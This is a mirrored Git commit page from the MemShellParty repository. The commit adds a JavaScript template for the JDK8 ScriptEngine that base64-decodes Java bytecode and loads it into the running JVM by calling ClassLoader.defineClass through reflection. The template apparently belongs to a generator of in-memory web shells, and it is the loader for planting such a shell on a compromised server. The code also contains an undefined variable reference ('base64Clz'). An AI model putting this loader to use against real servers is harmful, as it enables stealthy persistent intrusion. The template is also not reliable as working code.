archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-23 23:41:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support JDK8 ScriptEngine packer

Browse Source
This commit is contained in:
ReaJason
2024-12-04 03:14:08 +08:00
parent 7d697fe2ec
commit e0345767d6
13 changed files with 267 additions and 63 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/resources/shell.js
+25
View File
@@ -0,0 +1,25 @@
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
var className = "{{className}}";
var base64Str = "{{base64Str}}";
try {
classLoader.loadClass(className).newInstance();
} catch (e) {
var clsString = classLoader.loadClass('java.lang.String');
var bytecode;
try {
var clsBase64 = classLoader.loadClass("java.util.Base64");
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
}
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
var clsByteArray = classLoader.loadClass('[B');
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();
}